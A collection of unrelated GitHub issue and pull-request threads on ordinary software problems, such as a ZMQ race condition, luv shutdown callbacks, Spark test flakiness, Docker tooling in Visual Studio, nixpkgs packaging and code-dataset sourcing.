
I also run Mac OS (10.10) and have maxfiles 256. Might be your computer is faster than mine?
I'll add a note for this in the readme. Thanks for the report! :smile:

Added a comment in the readme.
Immediately I don't see a elegant way to fix this in the builder. Doing less in parallel, using run-sequence, might help. Might also consider patching reading of files in gulp/metalsmith in a forked repo. A PR is welcome.
I'll leave this open for now.

On ubuntu, one can stumble upon a similar error:
Error: watch ENOSPC

This fixes it:
echo fs.inotify.max_user_watches=524288 | sudo tee -a /etc/sysctl.conf && sudo sysctl -p


SendMessage race condition when Publishing

The ZMQ SendMessage method is not thread safe. When calling this method from Publish, we must use a mutex. This manifests itself in multiple ways. First was https://github.com/edgexfoundry/edgex-go/issues/1512  in Export Distro. Additionally it causes Core Data to crash either in the zmq C++ library or in the go ZMQ package as this stack trace shows
2019-07-15T18:01:40.276841834Z level=INFO ts=2019-07-15T18:01:40.276727191Z app=edgex-core-data source=event.go:240 msg="Putting event on message queue"
2019-07-15T18:01:40.276869619Z level=INFO ts=2019-07-15T18:01:40.276766473Z app=edgex-core-data source=event.go:240 msg="Putting event on message queue"
2019-07-15T18:01:40.277256157Z fatal error: unexpected signal during runtime execution
2019-07-15T18:01:40.277279205Z fatal error: unexpected signal during runtime execution
2019-07-15T18:01:40.279370588Z [signal SIGSEGV: segmentation violation code=0x1 addr=0x59 pc=0x7f462e34946a]
2019-07-15T18:01:40.279383539Z
2019-07-15T18:01:40.279387709Z runtime stack:
2019-07-15T18:01:40.279712745Z runtime.throw(0xc8702c, 0x2a)
2019-07-15T18:01:40.279720001Z     /usr/local/go/src/runtime/panic.go:617 +0x72
2019-07-15T18:01:40.279723059Z runtime.sigpanic()
2019-07-15T18:01:40.279725844Z     /usr/local/go/src/runtime/signal_unix.go:374 +0x4a9
2019-07-15T18:01:40.279728636Z
2019-07-15T18:01:40.279736899Z goroutine 24007 [syscall]:
2019-07-15T18:01:40.279740092Z runtime.cgocall(0xac14b0, 0xc000366ce8, 0xc000028770)
2019-07-15T18:01:40.279742826Z     /usr/local/go/src/runtime/cgocall.go:128 +0x5b fp=0xc000366cb8 sp=0xc000366c80 pc=0x40665b
2019-07-15T18:01:40.279760909Z github.com/pebbe/zmq4._C2func_zmq_send(0x7f462e17a740, 0xc000028770, 0x6, 0x2, 0x0, 0x0, 0x0)
2019-07-15T18:01:40.279776945Z     _cgo_gotypes.go:487 +0x55 fp=0xc000366ce8 sp=0xc000366cb8 pc=0x904c75
2019-07-15T18:01:40.279789559Z github.com/pebbe/zmq4.(*Socket).SendBytes.func1(0xc00044c090, 0xc000366d98, 0xc000028770, 0x6, 0x8, 0x2, 0xc000028770, 0xc00012a0b8, 0x6)
2019-07-15T18:01:40.279798832Z     /go/pkg/mod/github.com/pebbe/zmq4@v1.0.0/zmq4.go:998 +0x12d fp=0xc000366d48 sp=0xc000366ce8 pc=0x91018d
2019-07-15T18:01:40.279815441Z github.com/pebbe/zmq4.(*Socket).SendBytes(0xc00044c090, 0xc000028770, 0x6, 0x8, 0x2, 0x8, 0x280, 0x8)
2019-07-15T18:01:40.279823532Z     /go/pkg/mod/github.com/pebbe/zmq4@v1.0.0/zmq4.go:998 +0x8f fp=0xc000366dc0 sp=0xc000366d48 pc=0x90da7f
2019-07-15T18:01:40.279835711Z github.com/pebbe/zmq4.(*Socket).Send(...)
2019-07-15T18:01:40.279840333Z     /go/pkg/mod/github.com/pebbe/zmq4@v1.0.0/zmq4.go:982
2019-07-15T18:01:40.279854548Z github.com/pebbe/zmq4.(*Socket).sendMessage(0xc00044c090, 0x0, 0xc000366f00, 0x2, 0x2, 0x0, 0x0, 0xb3f620)
2019-07-15T18:01:40.279867252Z     /go/pkg/mod/github.com/pebbe/zmq4@v1.0.0/utils.go:82 +0x7b9 fp=0xc000366e98 sp=0xc000366dc0 pc=0x903689
2019-07-15T18:01:40.279975409Z github.com/pebbe/zmq4.(*Socket).SendMessage(...)
2019-07-15T18:01:40.279981557Z     /go/pkg/mod/github.com/pebbe/zmq4@v1.0.0/utils.go:18
2019-07-15T18:01:40.279986748Z github.com/edgexfoundry/go-mod-messaging/internal/pkg/zeromq.(*zeromqClient).Publish(0xc000250000, 0x0, 0x0, 0xc000524000, 0x24, 0xc0001c22c0, 0x15d, 0x160, 0xc759d2, 0x10, ...)

Do the following to recreate this issue:

Run EdgeX using https://github.com/edgexfoundry/developer-scripts/blob/master/compose-files/docker-compose-edinburgh-no-secty-1.0.0.yml
From Consul set the core-data & export-distro logging levels to TRACE so you can see the data is flowing.
Using a DB tool like Robo 3T, connect to the EdgeX Mongo instance and set the autoEvents frequency to 500ms for all defined devices in the MetaData
Restart device-virtual using docker restart <container id>
Run device-random natively with AutoEvents frequency set to 500ms for all devices in the local configuration.toml

Within a few minutes you will see core-data crash or see issue https://github.com/edgexfoundry/edgex-go/issues/1512

Believe this was addressed by https://github.com/edgexfoundry/go-mod-messaging/pull/29.


Time metrics use Milliseconds instead of base unit - seconds

Great work on this exporter! we are using it with great results 👍
One small comment, the following metrics use Milliseconds instead of a base unit (seconds)
elasticsearch_indices_flush_time_ms_total
elasticsearch_indices_indexing_index_time_ms_tot
elasticsearch_indices_merges_total_time_ms_total
elasticsearch_indices_refresh_total_time_ms_total
elasticsearch_indices_store_throttle_time_ms_total
elasticsearch_indices_search_query_time_ms

Is there any specific reason to use ms instead of sec?
I know I'm probably nit-picking here, but was reviewing the best practices from Prometheus and they seem to suggest to use base units, and leave handling the presentation in the Dashboarding tool (i.e. Grafana).
...should use base units (e.g. seconds, bytes, meters - not milliseconds, megabytes, kilometers).

https://prometheus.io/docs/practices/naming/
Any thoughts?

You're perfectly right. These should use seconds as well. Feel free to open an PR to change this.

#58 attempts to address that, for you consideration :)


Ops teams: leads are not marked

At what URL is the content that needs updating?
All of Operations teams
Describe why this change is necessary
This needs updating because teams should not be presented as leadless. Currently, they are, unlike all research teams where leads are noted.
Existing Content
List of team members doesn't differentiate between member and lead.
New Content
Please add:
Finance - Kristi
ACIS - Marcin
Comms - Steph
Admins - Asia
PMO - Asia (lead), Sarah (co-lead), Marian (co-lead)

nice catch! will fix this

 RENCI website redesign and rebuild


[WIP] Implement String#index with bstr

Closes #323.
This PR implements String#index in Rust. Functionally seems to be working, opening a WIP PR to get some initial feedback.
TODO:

[ ] Tests

To run the ruby specs, you can add a line to scripts/spec.rb like this one:
https://github.com/artichoke/artichoke/blob/830bb3026f21a9246a04f92e80d95b6d1dc94357/scripts/spec.rb#L216
  runner.register(Spec.new('core', 'string', 'index'))

@lopopolo thanks for the thorough feedback! Been busy lately but going to address your feedback this week if not this weekend.

This PR is stale and there has been a bit of churn since this branch last had activity.
@aivensong  if you'd like to pick this up again, please open a new PR. For now, closing.


Fix uv.shutdown cb being called when canceled

This could happen during lua_close, and after absolutely all handles have been closed, so there's no point in running the callback.
I'm not sure, but there might be other legitimate situations where UV_ECANCELED should be passed along to the callback. If so, then there would need to be a more involved fix here to handle when the stream is closed via lua_close/__gc

This is something I found when looking at our CI's PROCESS_CLEANUP_TEST jobs (see https://github.com/luvit/luv/pull/193 and https://github.com/luvit/luv/pull/194 for when/why they exist) and noticing that they were throwing a Lua error (and somehow not failing the CI?). I think this has been broken for a long time (likely ever since uv_handle_t got a __gc that closed itself).
This is what happens when running ./tests/test-sigchld-after-lua_close.sh
{ pid = 5757, handle = uv_process_t: 0xbdfed0 }
Uncaught Error: examples/talking-to-children.lua:28: bad argument #1 to 'close' (Expected uv_handle userdata)
stack traceback:
	[C]: in function 'luv.close'
	examples/talking-to-children.lua:28: in function <examples/talking-to-children.lua:27>
	[C]: in ?

This is not caused by not passing in a uv_handle userdata, but rather because the uv_handle has been closed, and onshutdown is being called during lua_close. Adding a print statement to the onshutdown callback gives you this:
Uncaught Error: ./lib/utils.lua:155: bad argument #1 to 'tostring' (Expected uv_handle userdata)
stack traceback:
        [C]: in function 'tostring'
        ./lib/utils.lua:155: in function 'print'
        examples/talking-to-children.lua:28: in function <examples/talking-to-children.lua:27>

i.e. the __tostring metamethod of the userdata is failing because the userdata is a closed (via __gc) uv_stream_t.

Some debug printing to better explain what's happening:
luv_shutdown called with handle:<PHONE_NUMBER>35FF50 -> req:<PHONE_NUMBER>1E8DE0
handle gc |<PHONE_NUMBER>3601D0 -> not closed, closing
handle gc |<PHONE_NUMBER>35FF50 -> not closed, closing
loop gc -> uv_walk -> uv_run
uv_process_endgames -> uv_pipe_endgame -> req->cb(req, UV_ECANCELED);
luv_shutdown_cb for req:<PHONE_NUMBER>1E8DE0
cb called    ECANCELED
Uncaught Error: bad argument #1 to '?' (Expected uv_handle userdata)
stack traceback:
        [C]: at 0x07fee3d32da0
        [C]: in function 'print'
        test.lua:24: in function <test.lua:22>
        [C]: at 0x07fee3d49950

Minimal reproduction:
local uv = require('luv')

local stdin = uv.new_pipe(false)

local process, pid = uv.spawn(jit.os == "Windows" and "cmd.exe" or "cat", {
  stdio = {stdin, nil, nil}
})

assert(uv.shutdown(stdin, function(...)
	print("cb called", ...)
	print(process)
end))

Worth noting that doing this from the Lua side also fixes this particular case:
uv.shutdown(stdin, function(err)
  if err == "ECANCELED" then
    return
  end
  print(process)
end)

So instead of doing this on the C side we could pass ECANCELED to the callback (even during lua_close) and it would be up to the user to handle that case in their callback.

So instead of doing this on the C side we could call the callback with ECANCELED (even during lua_close) and it would be up to the user to handle that case in their callback.

What is prefer solution, lua side or c side?

I think it would be better on the C side if we can be sure that UV_ECANCELED is only possible during lua_close, but I'm not sure if that's true. I'll do some more testing.

https://github.com/libuv/libuv/search?q=UV_ECANCELED&unscoped_q=UV_ECANCELED shows some api will cause UV_ECANCELED, e.g. uv_cancel()

I meant UV_ECANCELED for shutdown. Herr are all the ways in Libuv that the shutdown cb can be called with UV_ECANCELED:

https://github.com/libuv/libuv/blob/f9c35197e64202099b691d53df7ea7db480b390c/src/unix/stream.c#L471-L480
https://github.com/libuv/libuv/blob/f9c35197e64202099b691d53df7ea7db480b390c/src/win/tty.c#L2221-L2222
https://github.com/libuv/libuv/blob/f9c35197e64202099b691d53df7ea7db480b390c/src/win/pipe.c#L367-L377
https://github.com/libuv/libuv/blob/958e85fbd842be06da8484305996f42149ba5039/src/win/tcp.c#L213-L234

Relevant Libuv test:

https://github.com/libuv/libuv/blob/e4087dedf837f415056a45a838f639a3d9dc3ced/test/test-shutdown-close.c

this should be merge now?

Don't want to merge it yet, still not sure if handling this on the C side is correct and want to do some more testing.
Take a look at https://github.com/luvit/luv/issues/433, it's the more important thing to get fixed first.

Going to focus on this today.

This is not the right fix. The shutdown callback can be called with UV_ECANCELED with the following code:
local uv = require('luv')
local isWindows = package.config:find("\\") and true or false

local stdin = uv.new_pipe(false)

handle, pid = uv.spawn(isWindows and "cmd.exe" or "cat", {
  stdio = {stdin, nil, nil}
}, function(...)
  print("onexit", ...)
end)

assert(uv.shutdown(stdin, function(...)
  print("onshutdown", ...)
end))
uv.close(stdin, function(...)
  print("onclose", ...)
end)

uv.run()


Electron upgrade

Problem
Electron is old
Solution

Upgrade to v6.0.0, ups string max len to 1GB to give some headroom on computational output
fix faulty file dialog

Testing

npm test
run regression

By the way, is this new change reflected in the simulator as well?


Add supported xdg-spec directory

Since you're currently working on the manpages, I thought I'd send this to you.
I might pitch in more, we'll see.

Thanks!


Improve ergonomics of video player on mobile

The custom player doesn't look that great on mobile (too much spacing between elements).
Suggestion : when on mobile, the video only shows when using landscape mode, and is always in fullscreen.
Resources :
https://github.com/selwin/django-user_agents (to detect if the device is mobile or not)
https://developer.mozilla.org/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent (for other detection solutions)

Improved with 80323e5fa9b29a554003a36ebe6405f79e2ea78b but can still be improved further.


ColorPicker - optional alpha value passing and return value use boolean instead of string

This is useful for those who don't want to pass any 4th value (alpha) to the Color parameter.
I've encountered something weird:
in testing outside of my project (using Slab's own main.lua):
local color = {1, 1, 1} --no alpha

--in update
Slab.ColorPicker({Color = color}) -- no error

But in my project, the same thing is done:
local color = e.color.color -- a table of {1, 1, 1}
Slab.ColorPicker({Color = color}) -- gives error (ColorPicker.lua line 384) about a `nil` value, I assume the `CurrentColor[4]`

This PR fixes those.

The 2nd commit of this PR changes:
local t = Slab.ColorPicker(...)
if t.Button == "OK" then ... end

to
local t = Slab.ColorPicker(...)
if t.Button then ... end

As ColorPicker's buttons (according to the wiki API) are not customizable. So returning a boolean would suffice to check if the OK is pressed or not.


[SPARK-40096][CORE][TESTS][FOLLOW-UP] Explicitly check the element and length

What changes were proposed in this pull request?
This PR is a followup of https://github.com/apache/spark/pull/37533 that works around the test failure by explicitly checking the element and length in the test.
Why are the changes needed?
For an unknown reason the test added in is flaky even though both ArrayBuffer and List are Sep and the test should pass up to my best knowledge. See https://github.com/apache/spark/actions/runs/3109851954/jobs/5040465291
[info] - SPARK-40096: Send finalize events even if shuffle merger blocks indefinitely with registerMergeResults is false *** FAILED *** (90 milliseconds)
[info]   ArrayBuffer("hostB") did not equal List("hostB") (DAGSchedulerSuite.scala:4498)
[info]   org.scalatest.exceptions.TestFailedException:
[info]   at org.scalatest.Assertions.newAssertionFailedException(Assertions.scala:472)
[info]   at org.scalatest.Assertions.newAssertionFailedException$(Assertions.scala:471)
[info]   at org.scalatest.Assertions$.newAssertionFailedException(Assertions.scala:1231)
[info]   at org.scalatest.Assertions$AssertionsHelper.macroAssert(Assertions.scala:1295)
[info]   at org.apache.spark.scheduler.DAGSchedulerSuite.$anonfun$new$286(DAGSchedulerSuite.scala:4498)
[info]   at org.scalatest.OutcomeOf.outcomeOf(OutcomeOf.scala:85)
[info]   at org.scalatest.OutcomeOf.outcomeOf$(OutcomeOf.scala:83)
[info]   at org.scalatest.OutcomeOf$.outcomeOf(OutcomeOf.scala:104)
[info]   at org.scalatest.Transformer.apply(Transformer.scala:22)
[info]   at org.scalatest.Transformer.apply(Transformer.scala:20)
[info]   at org.scalatest.funsuite.AnyFunSuiteLike$$anon$1.apply(AnyFunSuiteLike.scala:226)
[info]   at org.apache.spark.SparkFunSuite.withFixture(SparkFunSuite.scala:207)
[info]   at org.scalatest.funsuite.AnyFunSuiteLike.invokeWithFixture$1(AnyFunSuiteLike.scala:224)
[info]   at org.scalatest.funsuite.AnyFunSuiteLike.$anonfun$runTest$1(AnyFunSuiteLike.scala:236)
[info]   at org.scalatest.SuperEngine.runTestImpl(Engine.scala:306)
[info]   at org.scalatest.funsuite.AnyFunSuiteLike.runTest(AnyFunSuiteLike.scala:236)
[info]   at org.scalatest.funsuite.AnyFunSuiteLike.runTest$(AnyFunSuiteLike.scala:218)
[info]   at org.apache.spark.SparkFunSuite.org$scalatest$BeforeAndAfterEach$$super$runTest(SparkFunSuite.scala:66)
[info]   at org.scalatest.BeforeAndAfterEach.runTest(BeforeAndAfterEach.scala:234)
[info]   at org.scalatest.BeforeAndAfterEach.runTest$(BeforeAndAfterEach.scala:227)
[info]   at org.apache.spark.SparkFunSuite.runTest(SparkFunSuite.scala:66)
[info]   at org.scalatest.funsuite.AnyFunSuiteLike.$anonfun$runTests$1(AnyFunSuiteLike.scala:269)
[info]   at org.scalatest.SuperEngine.$anonfun$runTestsInBranch$1(Engine.scala:413)
[info]   at scala.collection.immutable.List.foreach(List.scala:431)

Does this PR introduce any user-facing change?
No, test-only.
How was this patch tested?
CI in this PR should verify that.

cc @mridulm FYI

Merged to master

This is very interesting behavior !
Thanks for fixing this @HyukjinKwon


SPYT: df.count takes too much time

After reading dataframe df.count takes several minutes to accomplish
Table is: 8e9 rows, 600 chunks, 170gb compressed size.
12executors*16cpu ended in 2-3 minutes
when I set to 1 executor nothing changed
when i set to 1 executor 48 cpu also nothing changed

Try to set sparkConf option spark.yt.read.ytPartitioning.enabled to true

Tried and this did not help :(

This commit should literally optimize count query: https://github.com/ytsaurus/ytsaurus/commit/7d7fe3bad47f6d6f75fddeed128f0acd44b51801 .
Please, try SPYT 1.75.4 which includes feature.


Review use of Array.some() and Array.every() in mlang.js

From<EMAIL_ADDRESS>on February 19, 2014 00:22:33
Test that they're not degrading performance, but if they are, revert the code to the old version which just used loops.
Original issue: http://code.google.com/p/foam-framework/issues/detail?id=199

There are still calls to these Array methods in the codebase. I suppose we're content with their performance or they would have been removed.
@kgrgreer to close if we're content with the performance of mlangs.


Update cloud-metadata readme file

Types of changes

[ ] Enhancement (project structure, spelling, grammar, formatting)
[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] My code follows the code style of this project.
[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.
[ ] I have added tests to cover my changes.
[ ] All new and existing tests passed.

A description of the changes proposed in the Pull Request

add description of the fields
rename cim to cloud-metadata

@manushak these updates are not clear to me - there's no fields parameter in the manifest in the if repo, nor is it included int he example manifest in the readme documentation. Is it optional? If so, can we make that clear in the readme doc please?


Add argsort_along_batch to BatchedArray

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Comparison is base (2d2d016) 100.00% compared to head (0142779) 100.00%.

Additional details and impacted files
@@            Coverage Diff            @@
##              main      #521   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files           23        24    +1
  Lines         1813      1823   +10
  Branches       264       264
=========================================
+ Hits          1813      1823   +10

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Put all public classes into a namespace to avoid pollution

All of the classes being in the global namespace is probably a no-go for a lot of applications. The right thing to do is to introduce at least one namespace out of respect for those applications.
The most obvious namespace to use is just cpr. If everything is behind that namespace, that should be enough for the most part. Tests can use the normally bad using namespace cpr to avoid onerous changes in that directory.

Labelling this issue as easy since anyone should be able to tackle this. If you're looking to contribute to this library, this would be a super easy, and impactful, place to start.


If you follow these instructions you'll get an error about DOCKER_REGISTRY not being set that won't allow you to continue

The documentation should include how to set this and what it does. I.e. if you're using Azure it should either link to instructions to set it or tell you exactly how to do it. Same with Docker.io.
I found other documentation that you need to set an env in the dockerfile. That doesn't work, so I'm blocked.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: d772b44a-b5f3-5a10-4ea3-4463bdcf90bb
Version Independent ID: 5847cdf8-1823-7740-6e43-030902b26ad8
Content: Visual Studio Tools for Docker with ASP.NET Core
Content Source: aspnetcore/host-and-deploy/docker/visual-studio-tools-for-docker.md
Product: aspnet-core
GitHub Login: @spboyer
Microsoft Alias: scaddie

I had the same error but it's not a blocking error, copy the detailed error message outside the grid in visual studio and read it, most probably the blocking error was because permissions denied

Sadly this is the only error you'll ever get from docker in the errors list.  All other errors are ignored after this one.  You have to go digging through the log. Hence this is a bug.

I having the same problem. Also run VS as administrator as David Silwal suggest and still not working https://stackoverflow.com/questions/51082120/the-docker-registry-variable-is-not-set-defaulting-to-a-blank-string.

Check the answer of https://github.com/t-o-o-m. Disabling Windows fast startup work for me! https://github.com/docker/for-win/issues/573

The message The DOCKER_REGISTRY variable is not set. Defaulting to a blank string. is a warning. Because the message is confusing and somewhat bogus, engineering has suppressed the warning as of VS 2017 15.8 Preview 5. The user will see the actual error instead.
This problem can be tracked in the product's repo at https://github.com/Microsoft/DockerTools/issues/130.

Note that that's great, however the error list only ever shows one docker error not many which is really what this is about.  VS.net needs to be fixed so that it returns ALL docker errors except this one.

@JohnGalt1717 My understanding is that's the plan. Apologies if my response wasn't clear.

Excellent! Thanks!


Prepare to support Lua 5.4

lfs is already almost compatible with Lua 5.4, just need to fix an overly strict version check. With this patch lfs compiles and passes tests under Lua 5.4 work1, with and without -DNILINTABLE.

Coverage remained the same at 80.144% when pulling 66482b9344ee118adcb73bc2a8be13d9aa8232f9 on mpeterv:lua54-support into 1dfb8c41e8a7e689959baeaf2961437db9615f74 on keplerproject:master.

Some libraries depend on lfs (in special busted). This would greatly ease the development in Lua 5.4

@leokaplan Thanks for the ping (and hi there, long time no see!) — it feels so bittersweet to merge a PR from @mpeterv. I will push a patch release containing this.

@leokaplan btw, have you tested that this is sufficient for supporting the latest rc of Lua 5.4?

I've compiled it with the latest release of 5.4 and ran with LUA_CPATH=./src/?.so lua5.4 tests/test.lua
then i've got:
LuaFileSystem 1.7.0
.............Ok!

So I think that everything is ok.

Being merged will automatically change in luarocks?

No, I need to tag a new version number and push a release!


Fixed Issue -  improve project IU

Please, go through these steps before you submit a PR.

[x] My Pod Leader knows I'm working on this Pull Request
[x] I've explained what the Pull Request is adding.
[x] I've explained why this is important.

Fixed Issue #6 -
Screenshot of the project UI after resolve the issue
Web View - (http://<IP_ADDRESS>:4000//)

Tablet view

Mobile view

Project description page ( added button to navigate back to home page http://<IP_ADDRESS>:4000//projects/project  ) -

Hi , @akshgpt7 , me and @jessielin34 have completed the assigned task. Please review it ,Thanks


kdigger: init at 1.2.0

Description of changes

Package kdigger for nixpkgs @ 1.2.0
https://github.com/quarkslab/kdigger
Wait to see if x86_64-darwin builds
Things done

Built on platform(s)

[X] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[X] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[X] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[X] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[X] Tested basic functionality of all binary files (usually in ./result/bin/)
22.11 Release Notes (or backporting 22.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[X] Fits CONTRIBUTING.md.

Related to #81418

Patch to simplify ldflags and clarify their purpose
https://github.com/quarkslab/kdigger/pull/2
Since aarch64-linux and x86_64-darwin fail to build I've just marked this as x86_64-linux only
https://github.com/quarkslab/kdigger/issues/3


fix: epmadpafic 878 review GitHub security permissions

This PR is included in version 1.0.1 :tada:


Mfma fp16 prof

Add generate_configs.cpp to generate configurations (not all configurations, but all configurations with selections)
Update to reorder_configs.cpp and tailor_configs.cpp (moved to here from fp32 work)
Add environment variable IGEMM_RUN_FIRST_APPLICABLE_CONFIG to easy testing of the ordered configurations

Nice work
Could you please add some instructions in readme about how to use this driver.

Thanks for the readme.

@fronteer I cannot merge your branch because there are some conflicts. Could you please resolve conflicts and re-test your driver?


Recycle innerHTML attribute correctly

Fixes https://github.com/hyperapp/render/issues/8

@frenzzy What if we abort patch if innerHTML is used?
if (node.attributes.innerHTML) {
  return element
}

Oh, but then we need to change updateAttribute so that innerHTML is not inadvertently reset when the new node's innerHTML is null.

I will not support innerHTML in Hyperapp.


Power Query SDK support for installation on Microsoft Visual Studio 2017

When starting of with https://marketplace.visualstudio.com/items?itemName=Dakahn.PowerQuerySDK, the vsix will only offer to install in VS 2015, not into an VS 2017.
It would be helpful when the default installer would provide this.
VS 2015 install seems to work, but we have started already using features in VS 2017 to ease maintenance on our SQL engine.

This is available for the VS 2017 version.
https://marketplace.visualstudio.com/items?itemName=Dakahn.PowerQuerySDK
Ticket can be closed.


Getting "invalid parameter" when passing plugin-specific params

First off, thank you for getting this library out, it's a huge help!
Problem
All of the custom protoc-gen-prost params fail with the message "invalid parameter".
Params inherited from prost_build such as type_attribute are working correctly.
Reproduction
example.proto
syntax = "proto3";

package example;

message Thing {
    string name = 1;
    string payload = 2;
}

Successful Command
This command successfully generates an example.rs file:
protoc --prost_out=hello-rs -I . example.proto

Failed Command
This command fails with the error --prost_out: invalid parameter: include_file
protoc --prost_out=hello-rs -I . example.proto --prost_opt=include_file

Hi! How did you install protoc-gen-prost? If you did through crates.io then this is not the proper repository. The one actually published on crates.io is this one. See #1 for more details.

That was the problem, thanks @Tuetuopay!


Subword tokenization

What are people's thoughts on adding preprocessing scripts to allow BPE-like tokenization of characters? Technically we already support this (just tokenize your input and use delineation function). But wonder if we see it as worthwhile as also writing up the scripting so it can be managed by the repo as well?

I am weakly opposed. It is a big source of complexity in FairSeq and we don't have any reason to suppose it improves things on this task. (That said, fork and try it out and if it works better than expected...)
The one context I could imagine something vaguely similar if if we support using pretrained encoders---which we should. (I think there's an existing issue for that.) Then you'd just delegate the tokenization to the model's tokenizer.

I think maybe an example (in /examples) would be appropriate if we want to do this, where you use existing or custom code to tokenize your data with your tokenizer of choice, write it to a new train/dev/test file, and then run yoyodyne on the data?

examples is the wild west, do what you will there, within reason ;)

Those were my exact thoughts. Use if wanted, drop if not necessary. Probably will do decently on deep orthography inflection tasks.


[Site support] (certain) SPIEGEL TV videos require to dig into a frame

Certain SPIEGEL TV pages.
A current example:
Pages like

http://www.spiegel.de/sptv/spiegeltv/sechzehneichen-psychothriller-mit-heike-makatsch-a-1146263.html

have their video Url in a frame. Youtube-dl has to dig into that and then extract to a form such as

http://www.spiegel.tv/filme/alleskino-sechzehneichen/

which then can be used as target url for yt-dl (the second url works fine).
I don't know, if this step of conversion/extraction can be fixed programmatically, but I suggest this site support request. (Pls. close the issue, if this could not be fixed in yt-dl.)

No longer available.


modify files versions tests to pass with oC10 provider

part of #709

fix matcher to be correct V3Matcher function call
delete unneeded checks
delete access control headers
don't delete created file after tests
make fileVersions tests to work with oc10 provider

after this PR
on the consumer side:

on the provider side:

meaning one more test is run but the same amount of tests fail on the provider side


Create contracts

https://github.com/edenlabllc/ehealth.api/issues/2177

https://github.com/edenlabllc/ehealth.api/issues/2190

https://github.com/edenlabllc/ehealth.api/issues/2196

https://github.com/edenlabllc/ehealth.api/issues/2211

https://github.com/edenlabllc/ehealth.api/issues/2212

https://github.com/edenlabllc/ehealth.api/issues/2257

[ ]  add verification if contract_number was sent in contract request than start_date and end_date is not allowed to be sent in request.
Find contract by contract_number in status='VERIFIED' and save start_date/end_date from this contract to contract_request

[ ]  change the structure how external_contractors is saved to db (without \):
{\"contract\": {\"number\": \"1234567\", \"issued_at\": \"2018-01-01\"

@AlexKovalevych ,please, fix contract creation according to specification

[ ] New record`s status should be 'VERIFIED'
[ ] For each division from array contract_divisions create a new row in PRM.contract_divisions
[ ] For each employee from array create a new row in PRM.contract_employees


Code Datasets

[ ] Datasets to use?
[ ] How to collect the datasets?
[ ] How to store and organize the datasets?
[ ] What filtering/preprocessing/processing needs to be done to the datasets?

Datasets considered : https://docs.google.com/spreadsheets/d/1eOVxhLwksOJ51PbiMxzogc-sWu6NylEVPdmEPcbxu28/edit#gid=0

Here's a bunch of "code" datasets I've been collecting the links to:

https://sumith1896.github.io/spoc/ (psuedocode and test cases)
https://github.com/TellinaTool/nl2bash (bash and natural language)
http://groups.inf.ed.ac.uk/cup/javaGithub/ (java code)
https://conala-corpus.github.io/ (python and natural language)
https://github.com/github/CodeSearchNet (code and docstrings in six languages)
https://github.com/tech-srl/slm-code-generation/ (1.3M java examples)
https://github.com/tech-srl/code2vec (14M java examples)
https://github.com/tech-srl/code2seq (16M java examples)
http://leclair.tech/data/funcom/ (2.1M java examples)
https://www.sri.inf.ethz.ch/py150 (150k python examples)
https://www.microsoft.com/en-us/download/details.aspx?id=56844 (C# programs as graphs)
https://github.com/facebookresearch/Neural-Code-Search-Evaluation-Dataset (neural code search dataset)
https://bitbucket.org/iiscseal/nbl/src/master/ (C code)
https://github.com/Microsoft/msrc-dpu-learning-to-represent-edits (see paper)

http://www.cs.cmu.edu/˜pengchey/githubedits.zip

https://github.com/rajasagashe/juice (1.5M Python notebooks with interleaved natural language and code cells)
https://github.com/sola-st/IdBench (pairs of identifiers with measured relatedness and similarity)
https://sites.google.com/view/core2019/ (paired code in Java and code reviews)

from: https://arxiv.org/abs/1912.09652

https://github.com/SoftWiser-group/CoDiSum (Java diffs and commit messages)
https://github.com/LittleYUYU/CoaCor (SQL and natural language pairs)
https://github.com/sriniiyer/codenn (SQL and natural language pairs)
https://github.com/LittleYUYU/StackOverflow-Question-Code-Dataset (stackoverflow question and code pairs)
https://github.com/xing-hu/EMSE-DeepCom (Java asts)
https://github.com/zhangj111/astnn (asts of Java and C)
https://groups.inf.ed.ac.uk/cup/comment-locator/ (C code with binary "should there be a comment here?" label)
https://github.com/microsoft/methods2test (Java methods and test cases)
https://github.com/EdinburghNLP/code-docstring-corpus (python with docstrings)
https://github.com/IBM/Project_CodeNet (50 programming languages)
https://github.com/hendrycks/apps (python)

A lot of these are just methods, which seems to be popular in machine learning for code Unfortunately have their docstrings removed, which is not what you'd want for a Copilot clone.
However, if enough of these datasets are appended together you might get something similar to The Pile which might be sufficient. The other option is just scraping GitHub, but checking the licence of each repo to avoid any issues that Copilot is raising at the moment.

These are great lists of datasets, I think a lot of them could be useful for evaluation.
For the main training I'd probably suggest just scraping github and Stack Overflow though. I believe some of my collaborators at CMU use GitTorrent to do scraping, and it might not be too hard to get a huge corpus of repos once we decide what our inclusion criteria are: https://github.com/cjb/GitTorrent
Some examples of inclusion criteria might include:

Popularity/stars
Language
License

What's a good time for us to meet? I'm EST time and I generally won't be able to work on this until the evening

These are great lists of datasets, I think a lot of them could be useful for evaluation.
For the main training I'd probably suggest just scraping github and Stack Overflow though. I believe some of my collaborators at CMU use GitTorrent to do scraping, and it might not be too hard to get a huge corpus of repos once we decide what our inclusion criteria are: https://github.com/cjb/GitTorrent
Some examples of inclusion criteria might include:

Popularity/stars
Language
License

Additional criteria could be time since last commit, number of contributors, and usage of automated tests (this last one is probably not possible to easily detect)

I'm also in Eastern time and prefer to meet during the day if possible, but can also make a brief meeting during evenings work.

Since the meeting today will be the most important i can be a bit more lenient and do it during the day if needed

I'll make the when2meet poll. What is the preferred time zone?

I'll make the when2meet poll. What is the preferred time zone?

Est since both @neubig and I are in that

